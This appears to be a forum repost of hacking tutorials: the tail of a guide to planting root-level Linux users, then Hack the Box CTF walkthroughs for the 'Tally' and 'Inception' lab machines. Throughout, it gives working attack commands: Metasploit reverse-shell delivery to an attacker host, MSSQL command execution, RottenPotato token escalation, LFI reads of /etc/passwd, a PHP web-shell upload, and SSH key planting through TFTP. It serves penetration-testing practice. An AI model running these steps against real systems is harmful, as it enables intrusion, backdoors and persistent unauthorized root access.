1
mkpasswd -m SHA-512 pass
![[Image: 11.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-WZycjM43oUA/WvbkV4HXu4I/AAAAAAAAW0k/tWCJmHYqYbM_YBEC7pEnrybZFs4ZwAeXQCLcBGAs/s1600/11.png?w=687)
It will generate a hash for your password string, repeat above step or change the password of other existed users.
If you will compare entry of user1 then you can notice the difference. We have replaced: X: from our hash value.
![[Image: 13.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-eNhYD3J8DRs/WvbkWPuEm7I/AAAAAAAAW0o/qn7-tAsYlRYBVyHRvtE95VjrjCKY34ByQCLcBGAs/s1600/13.png?w=687)
Now switch user and access the terminal through user1 and confirm the root access.
su user1
whoami
id
1
2
3
su user1
whoami
id
Great!! It is also working.
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-l6PQS3GK7WA/WvbkWD5sSqI/AAAAAAAAW0s/XyI1fH1EYQorpOVWbC420K9VKSmKxDRpQCLcBGAs/s1600/14.png?w=687)
Python
Using python; we can import crypt library and add salt to our password which will create encrypted password including that salt value.
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
1
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
![[Image: 15.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-xowc9gNKAeM/WvbkWhxG0BI/AAAAAAAAW0w/BqMSTbQrRjc8TFYrDM1-ainQwJCU0CO_ACLcBGAs/s1600/15.png?w=687)
It will generate a hash value of your password string, repeat above step or change the password of other existed users. If you will compare entry of user2 then you can notice the difference. We have replaced the old hash value from our new hash value.
![[Image: 16.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-DnqW54jXEVI/WvbkWlI-T7I/AAAAAAAAW00/ajvbsB_yPCgwjOkLsQOkaQLEa1ZJDoLhwCLcBGAs/s1600/16.png?w=687)
Now switch user and access the terminal through user2 and confirm the root access.
su user2
whoami
id
pwd
sudo -l
1
2
3
4
5
su user2
whoami
id
pwd
sudo -l
It is also working, previously it was a member of /home/user2 directory but after becoming a member of /root directory you can notice it has owned all privilege of the root user.
![[Image: 17.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-pNU-GXXr5vs/WvbkWwVHzgI/AAAAAAAAW04/3y0SKl1TdtQcgcy9G7rQYF8HGaJC8wFkACLcBGAs/s1600/17.png?w=687)
Perl
Similarly, we can use Perl along with crypt to generate a hash value for our password using salt value.
perl -le 'print crypt("pass123", "abc")'
1
perl -le 'print crypt("pass123", "abc")'
![[Image: 20.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-G10jnhu04zA/WvbkXfn0bUI/AAAAAAAAW1A/LC3obnp6hWMsG6iT7gwItpdoELO4VtlHgCLcBGAs/s1600/20.png?w=687)
You will get the encrypted password, after that, again open /passwd file by typing vipw command in terminal and add username manually. Follow the manual step of adding new user “user4” and paste encrypted value at the place of * or X for a password.
In below image you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user4.
![[Image: 21.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/--O0Hdq6VwIU/WvbkXVOsdmI/AAAAAAAAW1E/xrg7e-ZyW6oas57NXyM1py2PchBaVIbvQCLcBGAs/s1600/21.png?w=687)
Now switch user and access the terminal through user4 and confirm the root access.
su user4
whoami
id
1
2
3
su user4
whoami
id
Great!! This method is also working.
![[Image: 22.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-k5BV7mJEROU/WvbkXmIBMsI/AAAAAAAAW1I/MVAfORNTSnQSkNs9g0z298nYA1QDE6qvQCLcBGAs/s1600/22.png?w=687)
PHP
Similarly, we can use PHP along with crypt to generate the hash for our password using salt value.
php -r "print(crypt('aarti','123') . \"\n\");"
1
php -r "print(crypt('aarti','123') . \"\n\");"
![[Image: 23.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-K8ciC3zaF8E/WvbkXzNQxGI/AAAAAAAAW1M/fYPP_z69jCQJYLu86mhECiZNEweySmwagCLcBGAs/s1600/23.png?w=687)
You will get the encrypted password, after that, open /passwd file by typing vipw command in terminal and add username manually. Follow the manual step of adding new user “user5” and paste encrypted value in the field of the password.
In below image you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user5.
![[Image: 24.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-JevXNyEVUYU/WvbkYFvBJTI/AAAAAAAAW1Q/dd-4OqtwcXg4QQk9lkIGzszIql8gyH3OQCLcBGAs/s1600/24.png?w=687)
Now switch user and access the terminal through user5 and confirm the root access.
su user5
whoami
id
1
2
3
su user5
whoami
id
Hence there are so many ways to add your own users with root access which is quite helpful to get root privilege in any machine.
![[Image: 25.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-rYqBWyYP1Ik/WvbkY56ldmI/AAAAAAAAW1Y/ZeHyrPyD38A-aGB7kF1kCcUvvS_K-2nZACLcBGAs/s1600/25.png?w=687)
Hello Friends!! Today we are going to solve a CTF Challenge “Tally”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. These labs are designed for beginner to the Expert penetration tester. Tally is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!!
As these labs are only available online, therefore, they have a static IP. Tally Lab has IP: 10.10.10.59.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.59
1
nmap -A 10.10.10.59
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ddXFuyPCIoI/WvHAuY07lsI/AAAAAAAAWwg/IlsSVdBP5SgGktKBbKu3jLoOpEIPBkC9wCLcBGAs/s1600/1.png?w=687&ssl=1)
When you will explore target IP through the browser, it will be redirected to a SharePoint page as shown below which also declared by nmap in the above image.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-VVOucMtBlAs/WvHAxW4YT8I/AAAAAAAAWxM/rlZFOESikNQkCoO0F6Y3vGnahhRDfXbNwCLcBGAs/s1600/2.png?w=687&ssl=1)
Then we have used several directory brute-forcer tools in order to enumerate some useful URL for web directory but failed to retrieve. Then I penetrate for the web directory manually with the help of Google search and slowly and gradually reached at /sitepages/FinanceTeam.aspx and found FTP username as shown below in the image.
Moreover, I found a [To see content please register here] for SharePoint directory brute-force attack that helps me in my next step.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Dy5i9EtvO9E/WvHAzoqN9sI/AAAAAAAAWxs/awen37LQi9cSNHpurqUwuvepg6qv3JwuACLcBGAs/s1600/6.png?w=687&ssl=1)
We found this URL [To see content please register here] documents/forms/allitems.aspx from the inside above-given [To see content please register here] , and when you will open above path in your browser as shown below, you will see a file named “FTP-details”. Download this doc file and open it.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-o3B86HMDOnM/WvHAz0M3VDI/AAAAAAAAWxw/ppX5wnqa_2kKnlT3PMwfh6B4jBjbcHegQCLcBGAs/s1600/9.png?w=687&ssl=1)
You will get a password from inside ftp details doc file.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-7boGrXkH2tU/WvHAuED_4FI/AAAAAAAAWwc/X7M9nAQgkKsDanJRpqhiyKhrqbvvSGgzwCLcBGAs/s1600/10.png?w=687&ssl=1)
Now login into FTP using following credentials and download tim.kdbx in your local machine.
Username: ftp_user
Password: UTDRSCH53c"$6hys
1
2
Username: ftp_user
Password: UTDRSCH53c"$6hys
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-XBiOTANBAyY/WvHAuSvwcCI/AAAAAAAAWwk/DR9DuUZuJhgRwwZ1qGnNQ8V6FrQMWPBRwCLcBGAs/s1600/12.png?w=687&ssl=1)
Since the file contains .kdbx extension and I don’t know much about it, therefore, I jumped for Google search from there I got this [To see content please register here] to download a python script that extracts a HashCat/john crackable hash from KeePass 1.x/2.X databases.
python keepass2john.py tim.kdbx > tim
1
python keepass2john.py tim.kdbx > tim
Next, we have used John the ripper for decrypting the content of “tim” with help of the following command.
john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt tim
1
john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt tim
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-LtBoL_KnPIQ/WvHAu5qPq9I/AAAAAAAAWwo/6LwiUE2sPTsWXtNZfOierEZXrzFL7iTYwCLcBGAs/s1600/13.png?w=687&ssl=1)
When you will obtain the password for “keepass2” which is an application used for hiding passwords of your system then you need to install it (keepass2) using the following command:
apt-get install keepass2 -y
1
apt-get install keepass2 -y
After installing, run the below command and submit “simplementeyo” in the field of the master key.
keepass2 tim.kdbx
1
keepass2 tim.kdbx
Then you can find username and password from inside /Work/Windows/Shares for sharing a file through SMB login since port 135-445 are open in targets machine for sharing files.
Here the password is hidden inside * character; copy and paste it into a text file and you will get the password into plain letters I.e. Acc0unting
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-U9h-k-iNU4g/WvHAvU60D1I/AAAAAAAAWww/4cn0rTnc-6QUettR3nrCfY73pM3AzDg3wCLcBGAs/s1600/14.png?w=687&ssl=1)
Now you are having SMB login credential “Finance: Acc0unting”, then execute following command for connecting with targets network and It will show “ACCT” as sharename.
smbclient -L 10.10.10.59 -U Finance
1
smbclient -L 10.10.10.59 -U Finance
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-XbM_KD7YI4E/WvHAvWlyBJI/AAAAAAAAWws/a2_hE_UbsHoZjI0oAj-LzG402L2e2o7fgCLcBGAs/s1600/15.png?w=687&ssl=1)
Further type below commands and at last when you found conn-info.txt, download it.
smbclient //10.10.10.59/ACCT -U Finance
cd zz_Archived
cd SQL
get conn-info.txt
1
2
3
4
smbclient //10.10.10.59/ACCT -U Finance
cd zz_Archived
cd SQL
get conn-info.txt
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-gTbKaj0QJds/WvHAvu6h1PI/AAAAAAAAWw0/63raRqGZMkEkFbsrjSTjfJuK_BRSMppCACLcBGAs/s1600/16.png?w=687&ssl=1)
When you will download the conn-info.txt file, open it, it will tell you MSSQL database login credential.
db: sa
pass: YE%TJC%&HYbe5Nw
1
2
db: sa
pass: YE%TJC%&HYbe5Nw
From the below image, you can observe that it was old server details and might be the password for sa has been changed now.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-9i5Ry3TrTgo/WvHAwNXH6RI/AAAAAAAAWw4/N3S8HcynLwkaXLthrWLoRejpnDFoysa-gCLcBGAs/s1600/17.png?w=687&ssl=1)
Again login into SMB and look for next hint by moving into /zz_Migration, for that you need to execute below commands:
smbclient //10.10.10.59/ACCT -U Finance
cd zz_Migration
cd Binaries
cd "New folder"
1
2
3
4
smbclient //10.10.10.59/ACCT -U Finance
cd zz_Migration
cd Binaries
cd "New folder"
Here you will found tester.exe, download it.
get tester.exe
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/--ItoqtTOS0c/WvHAwb0Mw7I/AAAAAAAAWxA/ELXlQFRWGH40GZdOFkhBljqwnKzqf6K9wCLcBGAs/s1600/18.png?w=687&ssl=1)
You will get tester.exe inside your /root directory since the file is too large, it is impossible to find desirable information from that. Therefore use grep along with strings command.
![[Image: 19.1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-jkogsV859q4/WvHAwdwOXYI/AAAAAAAAWw8/i87HVJ7-Chc5zL-g9jXvM74C4Tfg3MbMACLcBGAs/s1600/19.1.png?w=687&ssl=1)
strings tester.exe | grep DATABASE
1
strings tester.exe | grep DATABASE
And you will get a new password for user sa as shown in below image.
![[Image: 19.2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vfuzs4_m-iY/WvHAxP_XNdI/AAAAAAAAWxI/vgcGx8r6oFUAZKxR8CxrJX2Wf42mi1LqwCLcBGAs/s1600/19.2.png?w=687&ssl=1)
For the next step, I took help from our [To see content please register here] article which was on MSSQL penetration testing. Open a new terminal and load Metasploit framework and execute below commands.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.28
msf exploit(multi/script/web_delivery) > set srvhost 10.10.14.28
msf exploit(multi/script/web_delivery) > exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.28
msf exploit(multi/script/web_delivery) > set srvhost 10.10.14.28
msf exploit(multi/script/web_delivery) > exploit
Copy the highlighted text for .dll and Paste it inside as CMD command as shown in the next image.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-d8fUNcQNrz0/WvHAw6jgK_I/AAAAAAAAWxE/mU0iBld2w78-ADZxyjt-BJB-yKwc1X6dwCLcBGAs/s1600/19.png?w=687&ssl=1)
Now open a new terminal and again load a new Metasploit framework and execute below commands.
use auxiliary/admin/mssql/mssql_exec
msf auxiliary(admin/mssql/mssql_exec) > set rhost 10.10.10.59
msf auxiliary(admin/mssql/mssql_exec) > set password GWE3V65#6KFH93@4GWTG2G
msf auxiliary(admin/mssql/mssql_exec) > set CMD "Paste above copied .dll text here"
msf auxiliary(admin/mssql/mssql_exec) > exploit
1
2
3
4
5
use auxiliary/admin/mssql/mssql_exec
msf auxiliary(admin/mssql/mssql_exec) > set rhost 10.10.10.59
msf auxiliary(admin/mssql/mssql_exec) > set password GWE3V65#6KFH93@4GWTG2G
msf auxiliary(admin/mssql/mssql_exec) > set CMD "Paste above copied .dll text here"
msf auxiliary(admin/mssql/mssql_exec) > exploit
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-h2qYGW4PRpw/WvHAxrz_gaI/AAAAAAAAWxQ/J6kZvyX2Hzs9UU5-tfPCfUB7ShKZoXrAQCLcBGAs/s1600/20.png?w=687&ssl=1)
You will get the meterpreter session of victim’s machine in your 1st Metasploit framework and after then finished the task by grabbing user.txt and root.txt file. Further type the following:
getuid
1
getuid
So currently we don’t have NT AUTHORITY\SYSTEM permission.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-5Va1_bVQ8Ls/WvHAxw8D7SI/AAAAAAAAWxU/wlKDmsa1TYwmSlywQFPKZzLTt9RKsHPSACLcBGAs/s1600/21.png?w=687&ssl=1)
But we have successfully grabbed user.txt file from inside /Sarah/Desktop.
cd Sarah/Desktop
ls
cat user.txt
1
2
3
cd Sarah/Desktop
ls
cat user.txt
In this way, we have completed our first task. Now let’s find root.txt!!
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-fCmQx7UC-iA/WvHAyLK8uTI/AAAAAAAAWxY/ewMRWdG_gGU3PF-4ZwuIo8v_U4W2w0fgwCLcBGAs/s1600/22.png?w=687&ssl=1)
load incognito
1
load incognito
Incognito option in the meterpreter session was originally a stand-alone application that permitted you to impersonate user tokens when successfully compromising a system. And then we need to do first is identify if there are any valid tokens on this system
list_tokens -u
1
list_tokens -u
If we talk related to impersonate token then you can see currently there is no token available.
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-jvqLb_hkAKY/WvHAyYuuwLI/AAAAAAAAWxc/To2KOzpvQuk2vV9BhIeVtf0yrmrWPmv-wCLcBGAs/s1600/23.png?w=687&ssl=1)
Then I took help from Google in such scenario and found a link for downloading Rottenpotato from GitHub for privilege escalation.
git clone [To see content please register here]
1
git clone [To see content please register here]
After downloading it will give rottenpotato.exe file.
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-DSMHJCIuauc/WvHAyk4CtmI/AAAAAAAAWxg/lx-2mzCBgG4cZ8veWoztGTe0PgRslm11wCLcBGAs/s1600/24.png?w=687&ssl=1)
Upload the exe file into the victim’s machine.
upload /root/Desktop/RottenPotato/rottenpotato.exe .
1
upload /root/Desktop/RottenPotato/rottenpotato.exe .
Now type below command for executing exe file and then add SYSTEM token under impersonate user tokens.
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
1
2
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
After then when you will run the getuid command again, it will tell you that you have escalated NT AUTHORITY\\SYSTEM
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-d0Fw4LlIplo/WvHAzKr2FhI/AAAAAAAAWxk/7u57iMzI5-chBzetF-j0h99qHC9bH7bgwCLcBGAs/s1600/25.png?w=687&ssl=1)
Then come back to /Users directory and perceive available directories inside it. You will get root.txt form inside C:\Users\Administrator\Desktop go and grab it, and finished the task.
cd Administrator
cd Desktop
ls
cat root.txt
1
2
3
4
cd Administrator
cd Desktop
ls
cat root.txt
Fabulous!! The task has been completed and hacked this box.
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-cEH9qQmNREg/WvHAzpaKkDI/AAAAAAAAWxo/YYlwqfkkPkk0_mKgoukZ-hrW6fKOapE0ACLcBGAs/s1600/27.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another challenge “Inception” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy, you have to use your entire Penetration testing skills. Let start and learn how to breach a network and then exploit it for retrieving desired information.
Level: Hard
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Inception is 10.10.10.67 so let’s start with nmap port enumeration.
nmap -A 10.10.10.67
1
nmap -A 10.10.10.67
From the given below image, you can observe we found port 80 and 3128 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-nJqLJNpb6QY/WuiKM7ogTCI/AAAAAAAAWng/Uz03m3C8FYw--1EultPsyWuS0XFjWsaOgCLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 80 was open on the victim’s network we preferred to explore his IP in the browser and the following image get opened as shown below.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-a6_aeXxGPO0/WuiKPZAZT6I/AAAAAAAAWoE/n0AEJpqjKokY3tvLAW3uVH1TYmv8OsK8ACLcBGAs/s1600/2.png?w=687&ssl=1)
Then we checked its source code and found something “dompdf” which could be a directory, so let’s go through it.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Jg0Dj1NWPHg/WuiKRrawsyI/AAAAAAAAWoo/HDOjrwD9I8csvLLDMSDrYK53SZAQsiJGwCLcBGAs/s1600/3.png?w=687&ssl=1)
So when we had explored /dompdf in the browser, it put up some files. I was interested in version so we opened it and found version 0.6.0
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-EQq0inlNDyk/WuiKTTPqYVI/AAAAAAAAWpA/vpmv4r03PrI6OoMWn56C49ud4HZBhIkZACLcBGAs/s1600/4.png?w=687&ssl=1)
After that with help of searchsploit, we got an exploit 33004.txt for dompdf 0.6.0.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-74CM5upSPNk/WuiKTdlReFI/AAAAAAAAWpE/96PeXjp6LFkCYWCD2eWGmxOJtnj3_b-5ACLcBGAs/s1600/6.png?w=687&ssl=1)
In this exploit, you will get an instance for exploiting the target machine with help of LFI.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-atT2BMetbl0/WuiKUNdrdaI/AAAAAAAAWpM/NYZ83jDnpIEbckdlUHHXdHEM4-9yJRNDwCLcBGAs/s1600/7.png?w=687&ssl=1)
Then without wasting time we look for /etc/passwd file with the help of the following command:
curl [To see content please register here]
1
curl [To see content please register here]
But we got an encoded result, therefore, we need to decode it.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-_ysqfE0sSaU/WuiKUHh8e5I/AAAAAAAAWpI/SzwXhE3EYVoMqvSGmml-4a22I_rs0DNcQCLcBGAs/s1600/8.png?w=687&ssl=1)
From given below image you can observe that we have successfully decoded base 64 data and can read first username Cobb.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-2ArMuiEvYSw/WuiKUlTg4iI/AAAAAAAAWpQ/byirHC1U1p4Tcq6_hyuXWo4NNNPWOgz9wCLcBGAs/s1600/9.png?w=687&ssl=1)
And after penetrating very deep, we found default.conf file inside apache which holds another base64 value, now use given below command for that.
[To see content please register here]
1
[To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-JWeSUI3rlVw/WuiKNctnVQI/AAAAAAAAWnk/lYkUdlMzu1MVuIAGTurBXwcit1AF-KRFgCLcBGAs/s1600/10.png?w=687&ssl=1)
After decoding above found base64 value, you will get a highlighted path for AuthUserFile as shown below in the given image. If you will read the text inside location tag <location>, you will realize that it is giving hint for login credential for /webdev_test_inception and more security details such as authentication type: basic.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-k6a07ZAZ4o0/WuiKNlOo6YI/AAAAAAAAWno/M_8O4kDC4fkddev8aFjPl6gr5u9EXWR3wCLcBGAs/s1600/11.png?w=687&ssl=1)
Again type the following command:
curl [To see content please register here]
1
curl [To see content please register here]
Hmmmmm!!! One more base64 value, let’s decode this also.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-h5TI0h7mgYw/WuiKN0AQMQI/AAAAAAAAWns/TDLRSkmEl7wwQxOnRTTlx2A8NW0DFf0HQCLcBGAs/s1600/12.png?w=687&ssl=1)
So when we had decoded above based 64 value and found a hash value for user “webdav_tester” from it. Here we had copied it into a text file and now going to use John the ripper for cracking this hash.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xBpBVpafVwM/WuiKOCap4UI/AAAAAAAAWn0/594qvbNjV207jiyEqezpJ4bqE9CEhukSQCLcBGAs/s1600/13.png?w=687&ssl=1)
Type following command for cracking hash value with the help of /rockyou.txt
john hash --wordlist=/usr/share/wordlists/rockyou.txt
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Great!! It gives “babygurl69”
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ACDO4G_rx3A/WuiKOHfaX3I/AAAAAAAAWnw/wW4bipTuAvo4zh5sOOrVGL300zIVPxOkACLcBGAs/s1600/16.png?w=687&ssl=1)
So currently we have our username “webdav_tester” and the password “babygurl69” for login into / webdev_test_inception and authentication type is also basic therefore we can use cadaver for uploading backdoor.
Type following command for uploading php backdoor:
cadaver [To see content please register here]
webdav_tester
babygurl69
put /root/Desktop/qsd-php-backdoor.php
1
2
3
4
cadaver [To see content please register here]
webdav_tester
babygurl69
put /root/Desktop/qsd-php-backdoor.php
While uploading php backdoor we had tried so many types of php backdoor but among them, qsp-php-backdoor.php was working and it is default location is /usr/share/webshells/php.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-j_vySetyTkc/WuiKOQJAajI/AAAAAAAAWn4/R1sCEiJZs8wlGNJbP9AOSnhU1zrY5K8IQCLcBGAs/s1600/17.png?w=687&ssl=1)
Then we open uploaded php shell in the browser and click on “go to current working directory”.
http://webdav_test_inception/qsd-php-backdoor.php
1
http://webdav_test_inception/qsd-php-backdoor.php
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-494gWC89Orw/WuiKO9lxf3I/AAAAAAAAWn8/2WITRyziTEMySpGYV8uX7MN6ApWWVNjVACLcBGAs/s1600/18.png?w=687&ssl=1)
It brings us into inside /html directory, where we saw wordpress 4.8.3 and opened it.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-W-8sjSWq1J4/WuiKOwFdVNI/AAAAAAAAWoA/SAM4FAnGiPkkg0siwdmZRf4U72xmIR8OACLcBGAs/s1600/19.png?w=687&ssl=1)
Then we explore /wp-config.php file and found the username “root” and password “VwPddNh7xMZyDQoByQL4“. We also tried to login to WordPress but it was not active.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-VqUuAgeZGkc/WuiKPlL_yWI/AAAAAAAAWoI/CUJ0n8CUW106qjwAJSoasdPqDlWkBHyDgCLcBGAs/s1600/21.png?w=687&ssl=1)
Again we came back to the previous page as shown below and type the following command inside execute shell text filed for identifying all running services inside the network.
netstat -antp
1
netstat -antp
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-UGLPzAPf3M4/WuiKP_kjyII/AAAAAAAAWoM/68BCFQ-LK_0zfKoFql_FfDlKhzZjphjwQCLcBGAs/s1600/22.png?w=687&ssl=1)
Here we found ssh is open inside internal network and also observed new interface 192.168.0.10
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-AzDpfr1p3zM/WuiKPyPwIYI/AAAAAAAAWoQ/BYeF105IoOwUnONgjqtH3HvQhj7iX-o0gCLcBGAs/s1600/23.png?w=687&ssl=1)
Since we know port 3128 is open for squid HTTP proxy, so now open /etc/proxy.conf to add that inside it as shown below in the image.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-HfQgwUINITI/WuiKQIm1QRI/AAAAAAAAWoU/fQ_FBCIqEP4uYctJnYLTzDnLXwg5GczKwCLcBGAs/s1600/24.png?w=687&ssl=1)
Now connect to ssh through proxychains by using below command and submit password that was found from inside /wp-config.php for user cobb.
proxychains ssh [email protected]
1
proxychains ssh [email protected]
Nice!!! It works and we logged in successfully, let’s grab the user.txt first as shown.
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-A2y7wbsP8xg/WuiKQjJWGEI/AAAAAAAAWoY/o5kIAYTvvaMG_2WajWlZDCkCuzuW9K5QgCLcBGAs/s1600/25.png?w=687&ssl=1)
Then for finding root.txt flag, we need privilege escalation, therefore, type sudo -l command which will tell you sets permission for user cobb. And you will see that Cobb has ALL permissions. Then further we execute sudo su and got root access and move for root.txt file.
Dammitttttttt!!!!! It was a bloody trap, not original root access.
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-OnzM6zplamQ/WuiKQ0Qim5I/AAAAAAAAWoc/eE1UZRZPxUQZIT65kfKrAC4f6rD89TkawCLcBGAs/s1600/26.png?w=687&ssl=1)
ifconfig tells us IP is 192.168.0.10 and then we ping thought to ping 192.168.0.1, and the host was up.
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-_s1Cz-GU5aY/WuiKROmP71I/AAAAAAAAWog/_L4GJzros2olNhy151aWULSXh32z-9TWwCLcBGAs/s1600/27.png?w=687&ssl=1)
Then with help of the following command, we came to know port 21, 22 and 53 were opened.
nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded
1
nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded
We successfully login into FTP by using anonymous: anonymous and run ls command for looking all directories and files.
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0EaXImdrq6o/WuiKRQMZ6FI/AAAAAAAAWok/fmdsKp5D5gMNUtDoeL9t7dJAA9fEnui1ACLcBGAs/s1600/29.png?w=687&ssl=1)
Inside /etc we saw three files: passwd, crontab and tftpd-hpa in /default. We downloaded all three files.
cd /etc
get passwd
get crontab
cd default
get tftpd-hpa
1
2
3
4
5
cd /etc
get passwd
get crontab
cd default
get tftpd-hpa
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/--yTEaIKmRHs/WuiKRyJ3h4I/AAAAAAAAWos/1fFmxtSyy_M7skSIP2wos9_ewnd7A1aQQCLcBGAs/s1600/30.png?w=687&ssl=1)
Then read all three file through cat
cat /etc/passwd
cat /default/tftpd-hpa
1
2
cat /etc/passwd
cat /default/tftpd-hpa
![[Image: 31.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-liLjN1OPSM8/WuiKSQ6kD_I/AAAAAAAAWow/fQ14WVTnijUjzqO5WjHU8WIQe5p5iw3SgCLcBGAs/s1600/31.png?w=687&ssl=1)
cat crontab
1
cat crontab
Here we saw something very interested that every 5 minutes apt-update command is running.
![[Image: 32.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-HYa7f6iPAsY/WuiKS525qEI/AAAAAAAAWo4/Z8FbvA7UH_gLnrsURsC-eIByflQSbsrrgCLcBGAs/s1600/32.png?w=687&ssl=1)
Then we generated ssh key by executing the following command:
ssh-keygen
1
ssh-keygen
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-jt7osdrJkEg/WuiKSrFMI4I/AAAAAAAAWo0/mYoymdbesYsir2_ivwbCgy-w3K018c8OACLcBGAs/s1600/33.png?w=687&ssl=1)
Now enter following commands for uploading public key on 192.168.0.1 using TFTP:
cd /root/.ssh
tftp 192.168.0.1
put id_rsa.pub /root/.ssh/authorized_keys
1
2
3
cd /root/.ssh
tftp 192.168.0.1
put id_rsa.pub /root/.ssh/authorized_keys
Since TFTP gives all permission to the authorized key which means anyone can read and write it as result ssh public key get fail due to incorrect permission, it should 600. Now exit from tftp and change authorized key permission in the current host machine.
quit
1
quit
